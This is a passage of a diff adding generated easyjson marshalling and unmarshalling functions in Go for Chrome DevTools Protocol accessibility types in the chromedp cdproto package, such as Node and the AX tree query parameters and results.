+ in.WantComma()
+ }
+ in.Delim(']')
+ }
+ case "backendDOMNodeId":
+ (out.BackendDOMNodeID).UnmarshalEasyJSON(in)
+ case "frameId":
+ (out.FrameID).UnmarshalEasyJSON(in)
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility6(out *jwriter.Writer, in Node) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ {
+ const prefix string = ",\"nodeId\":"
+ out.RawString(prefix[1:])
+ out.String(string(in.NodeID))
+ }
+ {
+ const prefix string = ",\"ignored\":"
+ out.RawString(prefix)
+ out.Bool(bool(in.Ignored))
+ }
+ if len(in.IgnoredReasons) != 0 {
+ const prefix string = ",\"ignoredReasons\":"
+ out.RawString(prefix)
+ {
+ out.RawByte('[')
+ for v13, v14 := range in.IgnoredReasons {
+ if v13 > 0 {
+ out.RawByte(',')
+ }
+ if v14 == nil {
+ out.RawString("null")
+ } else {
+ (*v14).MarshalEasyJSON(out)
+ }
+ }
+ out.RawByte(']')
+ }
+ }
+ if in.Role != nil {
+ const prefix string = ",\"role\":"
+ out.RawString(prefix)
+ (*in.Role).MarshalEasyJSON(out)
+ }
+ if in.ChromeRole != nil {
+ const prefix string = ",\"chromeRole\":"
+ out.RawString(prefix)
+ (*in.ChromeRole).MarshalEasyJSON(out)
+ }
+ if in.Name != nil {
+ const prefix string = ",\"name\":"
+ out.RawString(prefix)
+ (*in.Name).MarshalEasyJSON(out)
+ }
+ if in.Description != nil {
+ const prefix string = ",\"description\":"
+ out.RawString(prefix)
+ (*in.Description).MarshalEasyJSON(out)
+ }
+ if in.Value != nil {
+ const prefix string = ",\"value\":"
+ out.RawString(prefix)
+ (*in.Value).MarshalEasyJSON(out)
+ }
+ if len(in.Properties) != 0 {
+ const prefix string = ",\"properties\":"
+ out.RawString(prefix)
+ {
+ out.RawByte('[')
+ for v15, v16 := range in.Properties {
+ if v15 > 0 {
+ out.RawByte(',')
+ }
+ if v16 == nil {
+ out.RawString("null")
+ } else {
+ (*v16).MarshalEasyJSON(out)
+ }
+ }
+ out.RawByte(']')
+ }
+ }
+ if in.ParentID != "" {
+ const prefix string = ",\"parentId\":"
+ out.RawString(prefix)
+ out.String(string(in.ParentID))
+ }
+ if len(in.ChildIDs) != 0 {
+ const prefix string = ",\"childIds\":"
+ out.RawString(prefix)
+ {
+ out.RawByte('[')
+ for v17, v18 := range in.ChildIDs {
+ if v17 > 0 {
+ out.RawByte(',')
+ }
+ out.String(string(v18))
+ }
+ out.RawByte(']')
+ }
+ }
+ if in.BackendDOMNodeID != 0 {
+ const prefix string = ",\"backendDOMNodeId\":"
+ out.RawString(prefix)
+ out.Int64(int64(in.BackendDOMNodeID))
+ }
+ if in.FrameID != "" {
+ const prefix string = ",\"frameId\":"
+ out.RawString(prefix)
+ out.String(string(in.FrameID))
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v Node) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility6(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v Node) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility6(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *Node) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility6(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *Node) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility6(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility7(in *jlexer.Lexer, out *GetRootAXNodeReturns) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "node":
+ if in.IsNull() {
+ in.Skip()
+ out.Node = nil
+ } else {
+ if out.Node == nil {
+ out.Node = new(Node)
+ }
+ (*out.Node).UnmarshalEasyJSON(in)
+ }
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility7(out *jwriter.Writer, in GetRootAXNodeReturns) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ if in.Node != nil {
+ const prefix string = ",\"node\":"
+ first = false
+ out.RawString(prefix[1:])
+ (*in.Node).MarshalEasyJSON(out)
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v GetRootAXNodeReturns) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility7(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v GetRootAXNodeReturns) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility7(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *GetRootAXNodeReturns) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility7(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *GetRootAXNodeReturns) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility7(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility8(in *jlexer.Lexer, out *GetRootAXNodeParams) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "frameId":
+ (out.FrameID).UnmarshalEasyJSON(in)
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility8(out *jwriter.Writer, in GetRootAXNodeParams) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ if in.FrameID != "" {
+ const prefix string = ",\"frameId\":"
+ first = false
+ out.RawString(prefix[1:])
+ out.String(string(in.FrameID))
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v GetRootAXNodeParams) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility8(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v GetRootAXNodeParams) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility8(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *GetRootAXNodeParams) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility8(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *GetRootAXNodeParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility8(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility9(in *jlexer.Lexer, out *GetPartialAXTreeReturns) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "nodes":
+ if in.IsNull() {
+ in.Skip()
+ out.Nodes = nil
+ } else {
+ in.Delim('[')
+ if out.Nodes == nil {
+ if !in.IsDelim(']') {
+ out.Nodes = make([]*Node, 0, 8)
+ } else {
+ out.Nodes = []*Node{}
+ }
+ } else {
+ out.Nodes = (out.Nodes)[:0]
+ }
+ for !in.IsDelim(']') {
+ var v19 *Node
+ if in.IsNull() {
+ in.Skip()
+ v19 = nil
+ } else {
+ if v19 == nil {
+ v19 = new(Node)
+ }
+ (*v19).UnmarshalEasyJSON(in)
+ }
+ out.Nodes = append(out.Nodes, v19)
+ in.WantComma()
+ }
+ in.Delim(']')
+ }
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility9(out *jwriter.Writer, in GetPartialAXTreeReturns) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ if len(in.Nodes) != 0 {
+ const prefix string = ",\"nodes\":"
+ first = false
+ out.RawString(prefix[1:])
+ {
+ out.RawByte('[')
+ for v20, v21 := range in.Nodes {
+ if v20 > 0 {
+ out.RawByte(',')
+ }
+ if v21 == nil {
+ out.RawString("null")
+ } else {
+ (*v21).MarshalEasyJSON(out)
+ }
+ }
+ out.RawByte(']')
+ }
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v GetPartialAXTreeReturns) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility9(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v GetPartialAXTreeReturns) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility9(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *GetPartialAXTreeReturns) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility9(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *GetPartialAXTreeReturns) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility9(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility10(in *jlexer.Lexer, out *GetPartialAXTreeParams) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "nodeId":
+ (out.NodeID).UnmarshalEasyJSON(in)
+ case "backendNodeId":
+ (out.BackendNodeID).UnmarshalEasyJSON(in)
+ case "objectId":
+ out.ObjectID = runtime.RemoteObjectID(in.String())
+ case "fetchRelatives":
+ out.FetchRelatives = bool(in.Bool())
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility10(out *jwriter.Writer, in GetPartialAXTreeParams) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ if in.NodeID != 0 {
+ const prefix string = ",\"nodeId\":"
+ first = false
+ out.RawString(prefix[1:])
+ out.Int64(int64(in.NodeID))
+ }
+ if in.BackendNodeID != 0 {
+ const prefix string = ",\"backendNodeId\":"
+ if first {
+ first = false
+ out.RawString(prefix[1:])
+ } else {
+ out.RawString(prefix)
+ }
+ out.Int64(int64(in.BackendNodeID))
+ }
+ if in.ObjectID != "" {
+ const prefix string = ",\"objectId\":"
+ if first {
+ first = false
+ out.RawString(prefix[1:])
+ } else {
+ out.RawString(prefix)
+ }
+ out.String(string(in.ObjectID))
+ }
+ if in.FetchRelatives {
+ const prefix string = ",\"fetchRelatives\":"
+ if first {
+ first = false
+ out.RawString(prefix[1:])
+ } else {
+ out.RawString(prefix)
+ }
+ out.Bool(bool(in.FetchRelatives))
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v GetPartialAXTreeParams) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility10(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v GetPartialAXTreeParams) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility10(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *GetPartialAXTreeParams) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility10(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *GetPartialAXTreeParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility10(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility11(in *jlexer.Lexer, out *GetFullAXTreeReturns) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "nodes":
+ if in.IsNull() {
+ in.Skip()
+ out.Nodes = nil
+ } else {
+ in.Delim('[')
+ if out.Nodes == nil {
+ if !in.IsDelim(']') {
+ out.Nodes = make([]*Node, 0, 8)
+ } else {
+ out.Nodes = []*Node{}
+ }
+ } else {
+ out.Nodes = (out.Nodes)[:0]
+ }
+ for !in.IsDelim(']') {
+ var v22 *Node
+ if in.IsNull() {
+ in.Skip()
+ v22 = nil
+ } else {
+ if v22 == nil {
+ v22 = new(Node)
+ }
+ (*v22).UnmarshalEasyJSON(in)
+ }
+ out.Nodes = append(out.Nodes, v22)
+ in.WantComma()
+ }
+ in.Delim(']')
+ }
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility11(out *jwriter.Writer, in GetFullAXTreeReturns) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ if len(in.Nodes) != 0 {
+ const prefix string = ",\"nodes\":"
+ first = false
+ out.RawString(prefix[1:])
+ {
+ out.RawByte('[')
+ for v23, v24 := range in.Nodes {
+ if v23 > 0 {
+ out.RawByte(',')
+ }
+ if v24 == nil {
+ out.RawString("null")
+ } else {
+ (*v24).MarshalEasyJSON(out)
+ }
+ }
+ out.RawByte(']')
+ }
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v GetFullAXTreeReturns) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility11(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v GetFullAXTreeReturns) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility11(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *GetFullAXTreeReturns) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility11(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *GetFullAXTreeReturns) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility11(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility12(in *jlexer.Lexer, out *GetFullAXTreeParams) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "depth":
+ out.Depth = int64(in.Int64())
+ case "frameId":
+ (out.FrameID).UnmarshalEasyJSON(in)
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility12(out *jwriter.Writer, in GetFullAXTreeParams) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ if in.Depth != 0 {
+ const prefix string = ",\"depth\":"
+ first = false
+ out.RawString(prefix[1:])
+ out.Int64(int64(in.Depth))
+ }
+ if in.FrameID != "" {
+ const prefix string = ",\"frameId\":"
+ if first {
+ first = false
+ out.RawString(prefix[1:])
+ } else {
+ out.RawString(prefix)
+ }
+ out.String(string(in.FrameID))
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v GetFullAXTreeParams) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility12(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v GetFullAXTreeParams) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility12(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *GetFullAXTreeParams) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility12(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *GetFullAXTreeParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility12(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility13(in *jlexer.Lexer, out *GetChildAXNodesReturns) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "nodes":
+ if in.IsNull() {
+ in.Skip()
+ out.Nodes = nil
+ } else {
+ in.Delim('[')
+ if out.Nodes == nil {
+ if !in.IsDelim(']') {
+ out.Nodes = make([]*Node, 0, 8)
+ } else {
+ out.Nodes = []*Node{}
+ }
+ } else {
+ out.Nodes = (out.Nodes)[:0]
+ }
+ for !in.IsDelim(']') {
+ var v25 *Node
+ if in.IsNull() {
+ in.Skip()
+ v25 = nil
+ } else {
+ if v25 == nil {
+ v25 = new(Node)
+ }
+ (*v25).UnmarshalEasyJSON(in)
+ }
+ out.Nodes = append(out.Nodes, v25)
+ in.WantComma()
+ }
+ in.Delim(']')
+ }
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility13(out *jwriter.Writer, in GetChildAXNodesReturns) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ if len(in.Nodes) != 0 {
+ const prefix string = ",\"nodes\":"
+ first = false
+ out.RawString(prefix[1:])
+ {
+ out.RawByte('[')
+ for v26, v27 := range in.Nodes {
+ if v26 > 0 {
+ out.RawByte(',')
+ }
+ if v27 == nil {
+ out.RawString("null")
+ } else {
+ (*v27).MarshalEasyJSON(out)
+ }
+ }
+ out.RawByte(']')
+ }
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v GetChildAXNodesReturns) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility13(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v GetChildAXNodesReturns) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility13(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *GetChildAXNodesReturns) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility13(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *GetChildAXNodesReturns) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility13(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility14(in *jlexer.Lexer, out *GetChildAXNodesParams) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "id":
+ out.ID = NodeID(in.String())
+ case "frameId":
+ (out.FrameID).UnmarshalEasyJSON(in)
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility14(out *jwriter.Writer, in GetChildAXNodesParams) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ {
+ const prefix string = ",\"id\":"
+ out.RawString(prefix[1:])
+ out.String(string(in.ID))
+ }
+ if in.FrameID != "" {
+ const prefix string = ",\"frameId\":"
+ out.RawString(prefix)
+ out.String(string(in.FrameID))
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v GetChildAXNodesParams) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility14(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v GetChildAXNodesParams) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility14(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *GetChildAXNodesParams) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility14(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *GetChildAXNodesParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility14(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility15(in *jlexer.Lexer, out *GetAXNodeAndAncestorsReturns) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "nodes":
+ if in.IsNull() {
+ in.Skip()
+ out.Nodes = nil
+ } else {
+ in.Delim('[')
+ if out.Nodes == nil {
+ if !in.IsDelim(']') {
+ out.Nodes = make([]*Node, 0, 8)
+ } else {
+ out.Nodes = []*Node{}
+ }
+ } else {
+ out.Nodes = (out.Nodes)[:0]
+ }
+ for !in.IsDelim(']') {
+ var v28 *Node
+ if in.IsNull() {
+ in.Skip()
+ v28 = nil
+ } else {
+ if v28 == nil {
+ v28 = new(Node)
+ }
+ (*v28).UnmarshalEasyJSON(in)
+ }
+ out.Nodes = append(out.Nodes, v28)
+ in.WantComma()
+ }
+ in.Delim(']')
+ }
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility15(out *jwriter.Writer, in GetAXNodeAndAncestorsReturns) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ if len(in.Nodes) != 0 {
+ const prefix string = ",\"nodes\":"
+ first = false
+ out.RawString(prefix[1:])
+ {
+ out.RawByte('[')
+ for v29, v30 := range in.Nodes {
+ if v29 > 0 {
+ out.RawByte(',')
+ }
+ if v30 == nil {
+ out.RawString("null")
+ } else {
+ (*v30).MarshalEasyJSON(out)
+ }
+ }
+ out.RawByte(']')
+ }
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v GetAXNodeAndAncestorsReturns) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility15(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v GetAXNodeAndAncestorsReturns) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility15(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *GetAXNodeAndAncestorsReturns) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility15(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *GetAXNodeAndAncestorsReturns) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility15(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility16(in *jlexer.Lexer, out *GetAXNodeAndAncestorsParams) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "nodeId":
+ (out.NodeID).UnmarshalEasyJSON(in)
+ case "backendNodeId":
+ (out.BackendNodeID).UnmarshalEasyJSON(in)
+ case "objectId":
+ out.ObjectID = runtime.RemoteObjectID(in.String())
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility16(out *jwriter.Writer, in GetAXNodeAndAncestorsParams) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ if in.NodeID != 0 {
+ const prefix string = ",\"nodeId\":"
+ first = false
+ out.RawString(prefix[1:])
+ out.Int64(int64(in.NodeID))
+ }
+ if in.BackendNodeID != 0 {
+ const prefix string = ",\"backendNodeId\":"
+ if first {
+ first = false
+ out.RawString(prefix[1:])
+ } else {
+ out.RawString(prefix)
+ }
+ out.Int64(int64(in.BackendNodeID))
+ }
+ if in.ObjectID != "" {
+ const prefix string = ",\"objectId\":"
+ if first {
+ first = false
+ out.RawString(prefix[1:])
+ } else {
+ out.RawString(prefix)
+ }
+ out.String(string(in.ObjectID))
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v GetAXNodeAndAncestorsParams) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility16(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v GetAXNodeAndAncestorsParams) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility16(w, v)
+}
+
